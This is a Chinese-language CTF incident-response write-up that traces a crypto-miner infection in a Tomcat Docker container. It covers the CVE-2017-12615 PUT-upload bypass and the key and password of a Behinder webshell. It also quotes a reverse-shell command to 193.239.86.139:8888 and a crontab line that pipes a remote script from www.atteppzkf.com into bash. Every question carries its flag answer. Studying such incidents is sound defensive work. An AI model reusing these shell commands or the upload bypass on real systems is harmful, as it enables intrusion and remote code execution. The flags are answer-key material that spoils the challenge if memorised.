容器安全应急响应与攻击溯源实战教学
一、 攻击背景与初始应急
某公司运维人员发现其Docker容器中运行的Tomcat服务器CPU占用率异常飙升,怀疑被入侵并植入了挖矿程序。安全人员的目标是进行全面的安全分析和溯源,注意不得删除任何感染样本。
二、 Docker镜像加载与初步检查
- 加载镜像:使用命令
cat yingji-v1.tar | docker load加载提供的应急镜像文件。 - 初步检查:通过
top命令查看CPU使用情况。但初始检查并未发现明显异常的CPU消耗进程,只有Tomcat自身的Java进程和top进程。
三、 Q1:攻击入侵点与漏洞分析
攻击路径与漏洞识别
- 核心问题:攻击者利用Tomcat的文件上传功能实现入侵。
- 漏洞点:检查Tomcat的DefaultServlet配置。关键参数为
readonly。- 该参数默认应为
true,即禁止通过HTTP方法(如PUT)上传文件。 - 在攻击案例中,该参数被显式设置为
false,从而允许客户端通过HTTP PUT方法上传文件到服务器。
- 该参数默认应为
- 绕过机制:攻击者通过精心构造文件名来绕过后缀检查,常见手法包括:
- 在文件名后添加
::$DATA。 - 在文件名后添加
/。
- 在文件名后添加
- 实现结果:通过上述手段,攻击者可直接上传JSP木马(Webshell)到服务器(如
webapps/ROOT/目录),最终达成远程代码执行(RCE)。 - 漏洞编号:此利用链对应著名的Tomcat配置漏洞 CVE-2017-12615。
提交答案格式:QHCTF{CVE-2017-12615}
四、 Q2:冰蝎(Behinder) Webshell分析
查找冰蝎马文件
- 搜索位置:攻击者上传的文件通常位于
webapps/ROOT/目录。 - 识别特征:冰蝎(Behinder) v2.0/v3.0 的JSP服务端代码具有一个显著特征:文件大小通常在 2600字节左右。
- 可疑文件筛选:在文件列表中,查找大小为2615-2620字节的文件,作为重点怀疑对象。例如:
- I6lPn7.jsp (2620)
- hMS8xu.jsp (2620)
- jj.jsp (2615)
- jjj.jsp (2615)
- faiz.jsp (2616)
- zj.jsp (2617)
提取连接密钥与密码
- 分析上述JSP文件的源代码。
- 在代码中定位关键变量定义:
- 连接密钥:
String xc="3c6e0b8a9c15224a";这是一个16位的字符串,用作AES加密的密钥。 - 连接密码:
String pass="pass";这是连接Webshell时所需的密码。
提交答案格式:QHCTF{3c6e0b8a9c15224a_pass}
- 连接密钥:
五、 Q3:反向Shell C2服务器溯源
分析思路
反向Shell通常会与C2服务器建立长连接,可从网络连接状态、历史命令、攻击脚本残留等方面寻找线索。
- 首先检查容器内当前网络连接(如
netstat或ss),但案例中发现只有Tomcat的监听端口,没有已建立的(ESTABLISHED)异常连接,说明反向Shell当前未运行。 - 返回木马文件列表,关注体积较小(如358字节)的文件,此类文件通常是简单的“单句马”或“反弹Shell脚本”。例如
shell.jsp或rce.jsp。
发现C2地址
- 分析上述小体积JSP文件的内容。
- 发现脚本通过执行系统命令建立反向Shell,其核心命令如下:
sh -i >& /dev/tcp/193.239.86.139/8888 0>&1 - 该命令将容器的Shell会话重定向到指定服务器的8888端口。
提交答案格式:QHCTF{193.239.86.139:8888}
六、 Q4:挖矿程序路径定位
挖掘思路
挖矿程序通常具有高CPU消耗、常驻后台、具备持久化等特征。在容器环境中,它们常被隐藏在:
/tmp/var/tmp/dev/shm- 或伪装成系统服务、隐藏目录。
发现路径
- 检查持久化机制:首先通过
crontab -l查看定时任务,发现了恶意下载任务,这暗示挖矿程序可能是由脚本下载并安装的。 - 搜索异常文件:常规路径可能已被清理。因此需查找最近被修改过、不在标准系统路径下的二进制文件。搜索命令可参考查找
/opt、/root等目录下,修改时间在近期(如200天内)的ELF可执行文件。 - 识别伪装:在排查中发现两个可疑文件,其特点包括:
- 隐藏路径:位于以
.开头的隐藏文件夹中,如/.kthread/和/.X11-Xtrace/。 - 伪装名称:命名为
kthread和kworker,这是常见的Linux内核线程名称,用于迷惑管理员。
- 隐藏路径:位于以
- 确认文件:验证这两个文件为ELF可执行文件。
提交答案格式:QHCTF{/.kthread/kthread,/.X11-Xtrace/kworker}
文件分析补充(拓展知识)
- 使用工具
die检查,发现文件被UPX或其变种(如UUU)加壳。 - 在IDA中查看字符串,可见提示信息
This file is packed with the UUU executable packer。
七、 Q5:挖矿程序持久化方式
分析结论
从Q4的排查过程已知,攻击者通过系统的定时任务(crontab) 实现持久化。
持久化配置内容
在 crontab -l 的输出中,可以找到如下配置:
@reboot curl https://www.atteppzkf.com:8443/d/opi1G30i/exec.sh | bash
- 触发条件:
@reboot表示在每次系统重启时执行。 - 执行动作:从指定URL下载
exec.sh脚本,并通过管道直接交由bash执行。 - 目的:确保挖矿程序在容器或系统重启后能自动被重新下载、安装和运行。
提交答案格式:QHCTF{@reboot curl https://www.atteppzkf.com:8443/d/opi1G30i/exec.sh | bash}
八、 Q6:挖矿程序连接的矿池地址
动态分析方法
直接在受控环境中运行挖矿程序(如 ./kworker),并立即使用 ss -antp 或 netstat -antp 命令查看网络连接状态。
发现结果
通过动态执行并监控网络,发现挖矿进程(kworker)立即与一个外部地址建立了连接:
- 本地地址:容器内部IP,如
172.17.0.2:49516。 - 远程地址:
159.198.35.43:8081。 - 连接状态:
ESTABLISHED(已建立连接)。 - 目的:此连接用于向矿池提交算力或接收任务。
提交答案格式:QHCTF{159.198.35.43:8081}
九、 Q7:矿池服务器的域名
溯源方法
对矿池的IP地址 159.198.35.43 进行反向DNS查询,以获取其关联的域名。
操作与结果
在物理机或具备外网能力的机器上使用 nslookup 或 dig -x 命令:
nslookup 159.198.35.43
查询结果指向域名:vip.onehostcloud.com。
> 提交答案格式:QHCTF{vip.onehostcloud.com}
十、 Q8:攻击者用于下载恶意脚本的域名
分析来源
从Q5发现的持久化定时任务中,直接提取下载链接的域名部分。
得出结论
定时任务中的下载链接为:https://www.atteppzkf.com:8443/d/opi1G30i/exec.sh
因此,攻击者用于托管恶意脚本的域名是:www.atteppzkf.com。
> 提交答案格式:QHCTF{www.atteppzkf.com}
十一、 Q9:挖矿程序上报的系统信息字段
分析背景与方法
提示指出挖矿程序为Go语言编写。由于静态分析加壳程序困难,可采用动态内存分析。
分析步骤
- 动态调试:使用
gdb(可配合pwndbg插件)调试运行挖矿程序kworker。 - 内存转储:在程序运行时,使用gdb命令(如
dump memory)将程序的某段内存(尤其是可能包含上报数据结构的区域)转储到文件。 - 字符串分析:对转储的内存文件进行分析,查找可能的系统信息字段名。这些字段通常以明文字符串形式存在于程序中,用于标识上报的数据类型。
发现结果(示例)
在转储的内存数据中,通过搜索可识别的字符串,可能发现挖矿程序收集并上报的系统信息字段,例如(按字母顺序排列):
arch, cpu_num, hostname, os, user 等。
> 提交答案格式:QHCTF{arch,cpu_num,hostname,os,user}
> (注:具体字段需根据实际内存分析结果确定,此处为示例。)
十二、 总结与防护建议
- 漏洞修复:确保Tomcat等中间件配置安全,尤其检查
readonly等敏感参数,禁止不必要的HTTP方法。 - 文件监控:对Web目录进行文件完整性监控,警惕异常JSP等脚本文件上传。
- 进程与网络监控:监控容器的CPU异常进程和异常外连,特别是到非常见IP/端口的连接。
- 定时任务审计:定期检查系统crontab、服务等持久化位置,清除未知任务。
- 最小化权限:容器应以非root用户运行,并限制其能力集和资源访问。
- 镜像安全:使用安全的基础镜像,并及时更新补丁。